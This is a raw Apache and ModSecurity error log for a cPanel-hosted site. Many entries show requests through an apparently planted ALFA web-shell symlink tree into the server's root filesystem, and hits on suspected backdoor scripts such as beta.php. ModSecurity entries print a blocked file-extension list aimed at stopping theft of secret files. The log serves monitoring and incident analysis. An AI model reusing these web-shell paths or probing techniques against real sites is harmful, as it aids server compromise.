[Mon Oct 26 13:00:51.717259 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 23.23.99.55:42331] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:00:55.854304 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 98.82.107.102:56885] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:00:56.078147 2026] [security2:error] [pid 3065808:tid 3065808] [client 85.208.96.210:65306] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/EMU10K1X.conf"] [unique_id "at-HSNBD9nokEg9_vmbMcwAAAAk"]
[Mon Oct 26 13:00:56.078529 2026] [security2:error] [pid 3065808:tid 3065808] [client 85.208.96.210:65306] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/EMU10K1X.conf"] [unique_id "at-HSNBD9nokEg9_vmbMcwAAAAk"]
[Mon Oct 26 13:00:56.078880 2026] [security2:error] [pid 3065808:tid 3065808] [client 85.208.96.210:65306] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/EMU10K1X.conf"] [unique_id "at-HSNBD9nokEg9_vmbMcwAAAAk"]
[Mon Oct 26 13:01:01.400362 2026] [core:error] [pid 3064918:tid 3064918] (13)Permission denied: [client 85.208.96.194:46092] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_mark/order
[Mon Oct 26 13:01:04.735126 2026] [core:error] [pid 3065806:tid 3065806] (13)Permission denied: [client 50.16.216.166:20940] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/input0/subsystem/event3/subsystem/input1/device/firmware_node/physical_node/driver/uevent
[Mon Oct 26 13:01:27.823114 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 52.203.68.145:51317] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:01:31.801441 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 52.205.113.104:8296] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:01:51.922346 2026] [ssl:error] [pid 3068533:tid 3068533] (70014)End of file found: [client 54.235.172.108:45333] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:01:55.960609 2026] [ssl:error] [pid 3068535:tid 3068535] (70014)End of file found: [client 3.221.50.71:3389] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:01:59.694304 2026] [ssl:error] [pid 3044312:tid 3044312] (5)Input/output error: [client 34.231.77.232:5672] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:02:03.820700 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 3.216.13.10:30614] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:02:12.164740 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 98.82.63.147:24314] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:02:15.972445 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 44.193.102.198:42342] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:02:23.679522 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 52.4.229.9:36382] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:02:27.695383 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 3.93.98.99:26982] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:02:32.129435 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 52.5.232.250:32848] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/tty1/subsystem/ttyS0/subsystem/ttyS1/type
[Mon Oct 26 13:02:39.899509 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 54.210.152.179:45175] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:02:48.027937 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 23.23.104.107:53954] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:02:52.196816 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 54.85.126.86:50786] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:02:57.258110 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 52.71.218.25:24939] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:02:59.734946 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 34.224.132.215:12662] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:03:03.543433 2026] [security2:error] [pid 3052342:tid 3052342] [client 107.172.76.131:55560] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-HunNsi4cqo2ItOKd-vgAAAAM"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 13:03:03.543518 2026] [security2:error] [pid 3052342:tid 3052342] [client 107.172.76.131:55560] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-HunNsi4cqo2ItOKd-vgAAAAM"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 13:03:04.212043 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 85.208.96.198:36612] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:03:11.855318 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 34.224.132.215:1127] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:03:15.746107 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 35.174.141.243:53181] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:03:19.768430 2026] [ssl:error] [pid 3065033:tid 3065033] (70014)End of file found: [client 34.204.150.196:34097] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:03:27.735912 2026] [ssl:error] [pid 3058816:tid 3058816] (5)Input/output error: [client 100.24.167.60:42980] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:03:32.198123 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 3.213.106.226:42502] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:03:40.737616 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 54.166.126.132:64345] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:03:43.824170 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 3.217.82.254:63238] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:03:51.875674 2026] [ssl:error] [pid 3065033:tid 3065033] (5)Input/output error: [client 44.215.210.112:63298] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:03:59.922957 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 54.80.185.200:19446] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:04:11.841199 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 34.203.111.15:6233] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:04:15.814991 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 54.147.238.89:8744] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:04:20.063991 2026] [core:error] [pid 3068533:tid 3068533] (13)Permission denied: [client 100.29.63.24:46348] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/vmd/uevent
[Mon Oct 26 13:04:23.784285 2026] [ssl:error] [pid 3065806:tid 3065806] (22)Invalid argument: [client 35.169.119.108:21815] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:04:27.889024 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 52.54.249.218:32135] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:04:31.728033 2026] [core:error] [pid 3065808:tid 3065808] (13)Permission denied: [client 34.234.200.207:16154] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory1/node0/cpu1/driver/uevent
[Mon Oct 26 13:04:39.809908 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 35.174.141.243:13967] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:04:47.899548 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 98.82.38.120:12969] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:04:51.953971 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 23.21.148.226:2847] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:05:01.476228 2026] [core:error] [pid 3068535:tid 3068535] (13)Permission denied: [client 185.191.171.4:57114] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/scsi_sense_cache/reclaim_account
[Mon Oct 26 13:05:03.727297 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 52.3.156.186:44549] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:05:07.942248 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 52.44.229.124:5897] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:05:11.778071 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 98.82.66.172:40460] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:05:15.866311 2026] [ssl:error] [pid 3068533:tid 3068533] (70014)End of file found: [client 54.197.114.76:45669] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:05:19.740147 2026] [core:error] [pid 3065806:tid 3065806] (13)Permission denied: [client 34.195.60.66:3122] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/0000:00:04.0/resource4
[Mon Oct 26 13:05:20.039294 2026] [security2:error] [pid 3067833:tid 3067833] [client 107.172.76.131:55561] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-IRJ_wwznQnIwm7BV1pgAAAAA"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 13:05:20.039340 2026] [security2:error] [pid 3067833:tid 3067833] [client 107.172.76.131:55561] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-IRJ_wwznQnIwm7BV1pgAAAAA"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 13:05:23.828056 2026] [ssl:error] [pid 3065033:tid 3065033] (70014)End of file found: [client 3.94.40.182:56456] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:05:31.746685 2026] [ssl:error] [pid 3068533:tid 3068533] (70014)End of file found: [client 34.206.249.188:45844] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:05:47.849332 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 18.205.213.231:32235] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:05:51.811640 2026] [ssl:error] [pid 3065033:tid 3065033] (70014)End of file found: [client 23.22.105.143:25631] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:06:00.919417 2026] [security2:error] [pid 3068534:tid 3068534] [client 206.189.154.102:55248] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/images/images/cache.php"] [unique_id "at-IeAKGJNKSlZasCZ1UYgAAAAg"], referer: www.google.com
[Mon Oct 26 13:06:00.919502 2026] [security2:error] [pid 3068534:tid 3068534] [client 206.189.154.102:55248] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/images/images/cache.php"] [unique_id "at-IeAKGJNKSlZasCZ1UYgAAAAg"], referer: www.google.com
[Mon Oct 26 13:06:16.096211 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 18.213.240.226:58496] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:06:20.093526 2026] [core:error] [pid 3068535:tid 3068535] (13)Permission denied: [client 98.83.72.38:22964] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/exar_serial/remove_id
[Mon Oct 26 13:06:23.956956 2026] [core:error] [pid 3058833:tid 3058833] (13)Permission denied: [client 23.22.105.143:22539] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/device:04/subsystem/drivers/button/bind
[Mon Oct 26 13:06:31.754664 2026] [ssl:error] [pid 3068535:tid 3068535] (70014)End of file found: [client 23.23.137.202:30027] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:06:43.715662 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 54.167.32.123:40121] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:06:55.821544 2026] [core:error] [pid 3068535:tid 3068535] (13)Permission denied: [client 23.23.214.190:28375] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/rescan
[Mon Oct 26 13:06:58.839737 2026] [security2:error] [pid 3065807:tid 3065807] [client 107.172.76.131:55567] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-IpRjIL9Z3tuLhXUCsXQAAAAc"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 13:06:58.839797 2026] [security2:error] [pid 3065807:tid 3065807] [client 107.172.76.131:55567] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-IpRjIL9Z3tuLhXUCsXQAAAAc"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 13:06:59.750798 2026] [core:error] [pid 3065020:tid 3065020] (13)Permission denied: [client 52.54.249.218:47122] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/resource4
[Mon Oct 26 13:07:03.920207 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 23.21.204.95:50755] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:07:15.952162 2026] [core:error] [pid 3058833:tid 3058833] (13)Permission denied: [client 3.225.9.97:46490] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/node0/memory18/node0/memory14/subsystem/uevent
[Mon Oct 26 13:07:23.011355 2026] [authz_core:error] [pid 3068535:tid 3068535] [client 34.26.43.79:58578] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Mon Oct 26 13:07:23.842693 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 23.21.228.180:36409] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:07:27.942189 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 52.2.83.227:34732] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:07:31.882667 2026] [ssl:error] [pid 3068535:tid 3068535] (70014)End of file found: [client 3.222.85.38:32330] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:07:36.237359 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 54.84.93.8:12699] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:07:44.342863 2026] [ssl:error] [pid 3068535:tid 3068535] (70014)End of file found: [client 107.20.255.194:25201] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:07:51.801957 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 107.20.25.33:42407] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:07:59.889936 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 44.213.202.136:34981] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:08:05.983749 2026] [security2:error] [pid 3058816:tid 3058816] [client 85.208.96.201:27082] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/python3.6/site-packages/syspurpose/__pycache__/"] [unique_id "at-I9c-doU5lRL_NAI8OGwAAAAE"]
[Mon Oct 26 13:08:05.983799 2026] [security2:error] [pid 3058816:tid 3058816] [client 85.208.96.201:27082] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/python3.6/site-packages/syspurpose/__pycache__/"] [unique_id "at-I9c-doU5lRL_NAI8OGwAAAAE"]
[Mon Oct 26 13:08:19.927026 2026] [core:error] [pid 3065808:tid 3065808] (13)Permission denied: [client 44.207.252.58:33290] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/device:04/subsystem/drivers/button/uevent
[Mon Oct 26 13:08:31.755872 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 98.80.130.239:50554] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:08:47.742528 2026] [core:error] [pid 3065808:tid 3065808] (13)Permission denied: [client 34.233.114.237:62946] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/input3/event3/subsystem/input1/device/firmware_node/physical_node/driver/uevent
[Mon Oct 26 13:09:00.999225 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 85.208.96.196:40054] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:09:03.985172 2026] [core:error] [pid 3065806:tid 3065806] (13)Permission denied: [client 35.171.117.160:52561] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/resource1
[Mon Oct 26 13:09:08.274933 2026] [ssl:error] [pid 3068535:tid 3068535] (70014)End of file found: [client 98.83.177.42:16828] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:09:15.729898 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 3.89.176.255:13801] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:09:22.517878 2026] [security2:error] [pid 3044299:tid 3044299] [client 107.172.76.131:55565] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-JNgWgOHT1_mp01JumzQAAAD0"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 13:09:22.517935 2026] [security2:error] [pid 3044299:tid 3044299] [client 107.172.76.131:55565] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-JNgWgOHT1_mp01JumzQAAAD0"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 13:09:27.633397 2026] [security2:error] [pid 3065807:tid 3065807] [client 107.172.76.131:55567] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-JOhjIL9Z3tuLhXUCsZwAAAAc"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 13:09:27.633473 2026] [security2:error] [pid 3065807:tid 3065807] [client 107.172.76.131:55567] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-JOhjIL9Z3tuLhXUCsZwAAAAc"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 13:09:34.529564 2026] [security2:error] [pid 3044299:tid 3044299] [client 107.172.76.131:55565] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-JQgWgOHT1_mp01JumzgAAAD0"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 13:09:34.529611 2026] [security2:error] [pid 3044299:tid 3044299] [client 107.172.76.131:55565] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-JQgWgOHT1_mp01JumzgAAAD0"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 13:09:35.959057 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 18.211.39.188:43859] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:09:47.824118 2026] [core:error] [pid 3064918:tid 3064918] (13)Permission denied: [client 18.213.70.100:57203] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/uhci_hcd/0000:00:01.2/remove
[Mon Oct 26 13:09:59.750500 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 52.201.155.215:40600] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:10:03.990426 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 44.209.89.189:18322] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:10:07.926302 2026] [core:error] [pid 3065020:tid 3065020] (13)Permission denied: [client 23.23.99.55:63724] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/memory4/node0/subsystem/drivers_probe
[Mon Oct 26 13:10:18.748801 2026] [core:error] [pid 3064916:tid 3064916] (13)Permission denied: [client 85.208.96.194:56826] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fanotify_event/align
[Mon Oct 26 13:10:19.868625 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 44.194.134.53:36951] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:10:25.801994 2026] [security2:error] [pid 3065020:tid 3065020] [client 43.153.96.79:55128] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at-JgV8Nv1D1ax-igrAcIgAAABg"]
[Mon Oct 26 13:10:25.803094 2026] [authz_core:error] [pid 3065020:tid 3065020] [client 43.153.96.79:55128] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 13:10:27.735514 2026] [ssl:error] [pid 3068533:tid 3068533] (70014)End of file found: [client 3.221.50.71:21585] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:10:36.927024 2026] [ssl:error] [pid 3068535:tid 3068535] (70014)End of file found: [client 3.223.134.5:12918] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:11:00.169611 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 3.221.50.71:8654] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:11:03.902756 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 34.236.135.14:56745] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:11:11.874105 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 52.203.65.83:25092] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:11:19.883697 2026] [ssl:error] [pid 3068535:tid 3068535] (70014)End of file found: [client 54.84.250.51:7901] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:11:23.892748 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 23.23.212.212:20984] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:11:43.776428 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 52.204.253.129:63398] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:11:47.724454 2026] [ssl:error] [pid 3065808:tid 3065808] (22)Invalid argument: [client 52.3.102.51:59938] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:11:51.899700 2026] [ssl:error] [pid 3068535:tid 3068535] (70014)End of file found: [client 34.225.87.80:3556] AH02013: coalesce failed to read from data bucket
